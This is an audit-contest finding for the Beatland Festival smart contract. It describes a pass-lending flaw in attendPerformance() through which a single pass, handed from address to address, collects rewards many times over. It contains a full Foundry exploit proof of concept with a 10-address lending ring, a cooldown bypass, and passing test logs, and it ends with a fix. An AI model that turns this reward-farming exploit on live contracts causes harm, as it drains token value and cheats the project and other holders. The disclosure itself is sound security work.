Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Pass Lending Reward Multiplication Enables Unlimited Performance Rewards

Root + Impact

Description

  • The attendPerformance() function is designed to reward pass holders for attending performances, with VIP and BACKSTAGE passes receiving multiplied rewards based on their tier. Under normal operation, each pass should generate rewards for a single attendee per performance, maintaining balanced tokenomics where one pass purchase corresponds to one set of performance rewards throughout the festival.

  • However, the attendance system tracks attendance per user rather than per pass, while pass ownership validation occurs only at the moment of attendance through hasPass(). This allows coordinated users to share a single pass by strategically transferring it between attendees, enabling multiple users to attend the same performance with the same pass and each receive full multiplied rewards, effectively turning one pass purchase into unlimited reward generation.

function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
@> require(hasPass(msg.sender), "Must own a pass"); // Only checks current ownership
@> require(!hasAttended[performanceId][msg.sender], "Already attended this performance"); // Per-user tracking
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
@> hasAttended[performanceId][msg.sender] = true; // Marks user as attended
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}
function hasPass(address user) public view returns (bool) {
@> return balanceOf(user, GENERAL_PASS) > 0 ||
balanceOf(user, VIP_PASS) > 0 ||
balanceOf(user, BACKSTAGE_PASS) > 0; // Only checks current balance
}

The vulnerability exists in the combination of per-user attendance tracking (hasAttended[performanceId][msg.sender]) and point-in-time pass ownership validation (hasPass(msg.sender)). The system records that a specific user attended a specific performance, but does not track which pass was used or prevent the same pass from being used by multiple users for the same performance through transfers.

Risk

Likelihood:

  • The vulnerability requires coordination between multiple users and strategic timing of pass transfers during active performance windows, which demands planning and cooperation rather than simple individual exploitation.

  • The attack becomes immediately executable once multiple users coordinate, as ERC1155 transfers are permissionless and the attendance system provides no restrictions on pass transfers between attendance events.

Impact:

  • Unlimited reward farming from single pass purchases enables coordinated groups to multiply performance rewards indefinitely (demonstrated: 4x-10x reward multiplication), completely breaking the intended pass-to-reward ratio and causing massive BEAT token inflation.

  • Complete bypass of cooldown mechanisms and attendance restrictions through pass lending, allowing rapid reward extraction and undermining all intended rate-limiting protections designed to prevent reward farming abuse.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
/**
* @title Pass Lending Reward Multiplication PoC
* @dev Demonstrates how single pass can generate unlimited rewards across multiple users
* through strategic pass transfers and coordinated attendance
*
* VULNERABILITY: No ownership tracking during attendance
* - hasPass() only checks current balance at time of attendance
* - attendPerformance() tracks attendance per user, not per pass
* - Single pass can be transferred between users for unlimited reward farming
*
* ATTACK VECTOR:
* 1. Alice buys 1 VIP pass and attends performance → earns 2x rewards
* 2. Alice transfers pass to Bob
* 3. Bob attends same performance → earns 2x rewards
* 4. Bob transfers pass to Charlie → Charlie attends → repeat
* 5. Single pass generates unlimited rewards across unlimited users
*/
contract PassLendingExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public alice;
address public bob;
address public charlie;
address public dave;
// Pass configuration for maximum reward exploitation
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_MULTIPLIER = 2; // 2x rewards
uint256 public performanceId;
uint256 constant BASE_REWARD = 100e18;
uint256 constant EXPECTED_VIP_REWARD = BASE_REWARD * VIP_MULTIPLIER; // 200 BEAT
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
dave = makeAddr("dave");
// Deploy protocol
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
// Configure VIP pass
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
// Create a performance for exploitation
vm.prank(organizer);
performanceId = festivalPass.createPerformance(
block.timestamp + 1 hours, // starts in 1 hour
4 hours, // lasts 4 hours
BASE_REWARD // base reward
);
// Fund Alice to buy the pass
vm.deal(alice, 1 ether);
}
function testSinglePassMultipleRewards() public {
console.log("=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===\n");
// Alice buys single VIP pass
console.log("--- Setup: Alice buys 1 VIP pass ---");
vm.prank(alice);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
console.log("Alice BEAT balance (welcome bonus):", beatToken.balanceOf(alice));
// Warp to performance time
vm.warp(block.timestamp + 2 hours);
console.log("\n--- Performance starts, exploitation begins ---");
// STEP 1: Alice attends performance and earns rewards
console.log("STEP 1: Alice attends performance");
vm.prank(alice);
festivalPass.attendPerformance(performanceId);
uint256 aliceReward = beatToken.balanceOf(alice) - 5e18; // subtract welcome bonus
console.log("Alice attendance reward:", aliceReward);
console.log("Alice has attended:", festivalPass.hasAttended(performanceId, alice));
// STEP 2: Alice transfers pass to Bob
console.log("\nSTEP 2: Alice transfers VIP pass to Bob");
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
console.log("Alice VIP balance:", festivalPass.balanceOf(alice, VIP_PASS));
console.log("Bob VIP balance:", festivalPass.balanceOf(bob, VIP_PASS));
console.log("Bob has pass:", festivalPass.hasPass(bob));
// STEP 3: Bob attends SAME performance with transferred pass
console.log("\nSTEP 3: Bob attends SAME performance with transferred pass");
vm.prank(bob);
festivalPass.attendPerformance(performanceId);
uint256 bobReward = beatToken.balanceOf(bob);
console.log("Bob attendance reward:", bobReward);
console.log("Bob has attended:", festivalPass.hasAttended(performanceId, bob));
// STEP 4: Bob transfers pass to Charlie
console.log("\nSTEP 4: Bob transfers VIP pass to Charlie");
vm.prank(bob);
festivalPass.safeTransferFrom(bob, charlie, VIP_PASS, 1, "");
// STEP 5: Charlie attends SAME performance
console.log("\nSTEP 5: Charlie attends SAME performance");
vm.prank(charlie);
festivalPass.attendPerformance(performanceId);
uint256 charlieReward = beatToken.balanceOf(charlie);
console.log("Charlie attendance reward:", charlieReward);
// STEP 6: Charlie transfers to Dave for final demonstration
console.log("\nSTEP 6: Charlie transfers to Dave");
vm.prank(charlie);
festivalPass.safeTransferFrom(charlie, dave, VIP_PASS, 1, "");
vm.prank(dave);
festivalPass.attendPerformance(performanceId);
uint256 daveReward = beatToken.balanceOf(dave);
console.log("Dave attendance reward:", daveReward);
// Calculate total exploitation
console.log("\n=== EXPLOITATION RESULTS ===");
uint256 totalRewards = aliceReward + bobReward + charlieReward + daveReward;
uint256 legitimateReward = EXPECTED_VIP_REWARD; // Only 1 person should get rewards
console.log("Total BEAT farmed from 1 pass:", totalRewards);
console.log("Legitimate reward (1 person):", legitimateReward);
console.log("Reward multiplication factor:", totalRewards / legitimateReward);
console.log("Excess BEAT stolen:", totalRewards - legitimateReward);
// Verify the exploit
assertEq(aliceReward, EXPECTED_VIP_REWARD, "Alice should get VIP reward");
assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should get VIP reward");
assertEq(charlieReward, EXPECTED_VIP_REWARD, "Charlie should get VIP reward");
assertEq(daveReward, EXPECTED_VIP_REWARD, "Dave should get VIP reward");
assertEq(totalRewards, 4 * legitimateReward, "4x reward multiplication");
// Show that attendance tracking is per-user, not per-pass
console.log("\nAttendance tracking per user:");
console.log("Alice attended:", festivalPass.hasAttended(performanceId, alice));
console.log("Bob attended:", festivalPass.hasAttended(performanceId, bob));
console.log("Charlie attended:", festivalPass.hasAttended(performanceId, charlie));
console.log("Dave attended:", festivalPass.hasAttended(performanceId, dave));
// Current pass holder
console.log("Final pass holder (Dave):", festivalPass.balanceOf(dave, VIP_PASS));
}
function testLargeScalePassLendingRing() public {
console.log("=== LARGE-SCALE PASS LENDING RING ===\n");
// Alice buys single BACKSTAGE pass (highest multiplier)
uint256 BACKSTAGE_PRICE = 0.25 ether;
uint256 BACKSTAGE_PASS = 3;
uint256 BACKSTAGE_MULTIPLIER = 3;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, 100);
vm.deal(alice, 1 ether);
vm.prank(alice);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
// Create multiple performances for maximum exploitation
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 6 hours, BASE_REWARD);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 2 hours, 6 hours, BASE_REWARD);
vm.stopPrank();
// Create lending ring of 10 users
address[] memory lendingRing = new address[](10);
for (uint256 i = 0; i < 10; i++) {
lendingRing[i] = makeAddr(string(abi.encodePacked("user", i)));
}
lendingRing[0] = alice; // Alice starts with the pass
console.log("Lending ring size:", lendingRing.length);
console.log("BACKSTAGE pass multiplier:", BACKSTAGE_MULTIPLIER);
console.log("Expected reward per attendance:", BASE_REWARD * BACKSTAGE_MULTIPLIER);
// Exploit Performance 1
vm.warp(block.timestamp + 90 minutes);
console.log("\n--- Exploiting Performance 1 ---");
for (uint256 i = 0; i < lendingRing.length; i++) {
address currentUser = lendingRing[i];
// User attends performance
vm.prank(currentUser);
festivalPass.attendPerformance(perf1);
uint256 reward = beatToken.balanceOf(currentUser);
if (i == 0) reward -= 15e18; // subtract Alice's welcome bonus
console.log("User", i, "reward:", reward);
// Transfer to next user (except last)
if (i < lendingRing.length - 1) {
address nextUser = lendingRing[i + 1];
vm.prank(currentUser);
festivalPass.safeTransferFrom(currentUser, nextUser, BACKSTAGE_PASS, 1, "");
}
}
// Wait for cooldown and exploit Performance 2
vm.warp(block.timestamp + 2 hours);
console.log("\n--- Exploiting Performance 2 ---");
// Start from last user who has the pass
address currentHolder = lendingRing[lendingRing.length - 1];
for (uint256 i = 0; i < lendingRing.length; i++) {
vm.prank(currentHolder);
festivalPass.attendPerformance(perf2);
// Transfer to next user for continued exploitation
if (i < lendingRing.length - 1) {
address nextUser = lendingRing[i];
vm.prank(currentHolder);
festivalPass.safeTransferFrom(currentHolder, nextUser, BACKSTAGE_PASS, 1, "");
currentHolder = nextUser;
}
}
// Calculate total damage
console.log("\n=== LARGE-SCALE EXPLOITATION RESULTS ===");
uint256 totalBEATFarmed = 0;
for (uint256 i = 0; i < lendingRing.length; i++) {
uint256 userBalance = beatToken.balanceOf(lendingRing[i]);
if (i == 0) userBalance -= 15e18; // subtract welcome bonus
totalBEATFarmed += userBalance;
console.log("User", i, "total BEAT:", userBalance);
}
uint256 legitimateTotal = 2 * BASE_REWARD * BACKSTAGE_MULTIPLIER; // 2 performances, 1 person
console.log("Total BEAT farmed:", totalBEATFarmed);
console.log("Legitimate total (2 performances, 1 person):", legitimateTotal);
console.log("Exploitation multiplier:", totalBEATFarmed / legitimateTotal);
assertGe(totalBEATFarmed, legitimateTotal * 10, "Should farm >=10x legitimate rewards");
}
function testCooldownBypassThroughLending() public {
console.log("=== COOLDOWN BYPASS THROUGH PASS LENDING ===\n");
// Alice buys VIP pass
vm.prank(alice);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
// Create overlapping performances to test cooldown bypass
vm.startPrank(organizer);
uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 3 hours, BASE_REWARD);
vm.stopPrank();
vm.warp(block.timestamp + 90 minutes);
// Alice attends performance 1
console.log("Alice attends performance 1");
vm.prank(alice);
festivalPass.attendPerformance(perf1);
console.log("Alice lastCheckIn:", festivalPass.lastCheckIn(alice));
// Alice tries to attend performance 2 immediately (should fail due to cooldown)
console.log("\nAlice tries performance 2 immediately:");
vm.prank(alice);
vm.expectRevert("Cooldown period not met");
festivalPass.attendPerformance(perf2);
console.log(" Cooldown protection working");
// Alice transfers pass to Bob to bypass cooldown
console.log("\nAlice transfers pass to Bob to bypass cooldown");
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, VIP_PASS, 1, "");
// Bob can immediately attend performance 2 (no cooldown for Bob)
console.log("Bob attends performance 2 immediately:");
vm.prank(bob);
festivalPass.attendPerformance(perf2);
uint256 bobReward = beatToken.balanceOf(bob);
console.log("Bob reward:", bobReward);
console.log("Bob lastCheckIn:", festivalPass.lastCheckIn(bob));
console.log("\n=== COOLDOWN BYPASS RESULTS ===");
console.log("Alice could not attend due to cooldown");
console.log("Bob successfully attended immediately after transfer");
console.log("Cooldown mechanism bypassed through pass lending");
assertEq(bobReward, EXPECTED_VIP_REWARD, "Bob should successfully earn rewards");
assertEq(festivalPass.lastCheckIn(bob), block.timestamp, "Bob's check-in should be recorded");
}
}
forge test --match-contract PassLendingExploitPoC -vv
[⠰] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 442.56ms
Compiler run successful!
Ran 3 tests for test/PassLendingExploit.t.sol:PassLendingExploitPoC
[PASS] testCooldownBypassThroughLending() (gas: 473221)
Logs:
=== COOLDOWN BYPASS THROUGH PASS LENDING ===
Alice attends performance 1
Alice lastCheckIn: 5401
Alice tries performance 2 immediately:
Cooldown protection working
Alice transfers pass to Bob to bypass cooldown
Bob attends performance 2 immediately:
Bob reward: 200000000000000000000
Bob lastCheckIn: 5401
=== COOLDOWN BYPASS RESULTS ===
Alice could not attend due to cooldown
Bob successfully attended immediately after transfer
Cooldown mechanism bypassed through pass lending
[PASS] testLargeScalePassLendingRing() (gas: 1794585)
Logs:
=== LARGE-SCALE PASS LENDING RING ===
Lending ring size: 10
BACKSTAGE pass multiplier: 3
Expected reward per attendance: 300000000000000000000
--- Exploiting Performance 1 ---
User 0 reward: 300000000000000000000
User 1 reward: 300000000000000000000
User 2 reward: 300000000000000000000
User 3 reward: 300000000000000000000
User 4 reward: 300000000000000000000
User 5 reward: 300000000000000000000
User 6 reward: 300000000000000000000
User 7 reward: 300000000000000000000
User 8 reward: 300000000000000000000
User 9 reward: 300000000000000000000
--- Exploiting Performance 2 ---
=== LARGE-SCALE EXPLOITATION RESULTS ===
User 0 total BEAT: 600000000000000000000
User 1 total BEAT: 600000000000000000000
User 2 total BEAT: 600000000000000000000
User 3 total BEAT: 600000000000000000000
User 4 total BEAT: 600000000000000000000
User 5 total BEAT: 600000000000000000000
User 6 total BEAT: 600000000000000000000
User 7 total BEAT: 600000000000000000000
User 8 total BEAT: 600000000000000000000
User 9 total BEAT: 600000000000000000000
Total BEAT farmed: 6000000000000000000000
Legitimate total (2 performances, 1 person): 600000000000000000000
Exploitation multiplier: 10
[PASS] testSinglePassMultipleRewards() (gas: 567999)
Logs:
=== PASS LENDING REWARD MULTIPLICATION EXPLOIT ===
--- Setup: Alice buys 1 VIP pass ---
Alice VIP balance: 1
Alice BEAT balance (welcome bonus): 5000000000000000000
--- Performance starts, exploitation begins ---
STEP 1: Alice attends performance
Alice attendance reward: 200000000000000000000
Alice has attended: true
STEP 2: Alice transfers VIP pass to Bob
Alice VIP balance: 0
Bob VIP balance: 1
Bob has pass: true
STEP 3: Bob attends SAME performance with transferred pass
Bob attendance reward: 200000000000000000000
Bob has attended: true
STEP 4: Bob transfers VIP pass to Charlie
STEP 5: Charlie attends SAME performance
Charlie attendance reward: 200000000000000000000
STEP 6: Charlie transfers to Dave
Dave attendance reward: 200000000000000000000
=== EXPLOITATION RESULTS ===
Total BEAT farmed from 1 pass: 800000000000000000000
Legitimate reward (1 person): 200000000000000000000
Reward multiplication factor: 4
Excess BEAT stolen: 600000000000000000000
Attendance tracking per user:
Alice attended: true
Bob attended: true
Charlie attended: true
Dave attended: true
Final pass holder (Dave): 1
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.49ms (2.14ms CPU time)
Ran 1 test suite in 4.56ms (2.49ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation

The fix implements per-pass attendance tracking to ensure each individual pass can only be used once per performance, regardless of how many times it's transferred between users. This preserves the intended 1-pass-1-reward economics while still allowing legitimate pass transfers for other purposes, preventing coordinated reward multiplication while maintaining the flexibility of the ERC1155 standard.

contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
// ... existing state variables ...
+ mapping(uint256 => mapping(uint256 => bool)) public passUsedForPerformance; // performanceId => passTokenId => used
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
+ // Check which pass type the user owns and mark it as used
+ uint256 userPassId = getUserPassId(msg.sender);
+ require(!passUsedForPerformance[performanceId][userPassId], "This pass already used for this performance");
+ passUsedForPerformance[performanceId][userPassId] = true;
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
+ function getUserPassId(address user) internal view returns (uint256) {
+ if (balanceOf(user, BACKSTAGE_PASS) > 0) return BACKSTAGE_PASS;
+ if (balanceOf(user, VIP_PASS) > 0) return VIP_PASS;
+ if (balanceOf(user, GENERAL_PASS) > 0) return GENERAL_PASS;
+ revert("User has no pass");
+ }
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Appeal created

thiagodeev Auditor
23 days ago
inallhonesty Lead Judge
22 days ago
inallhonesty Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.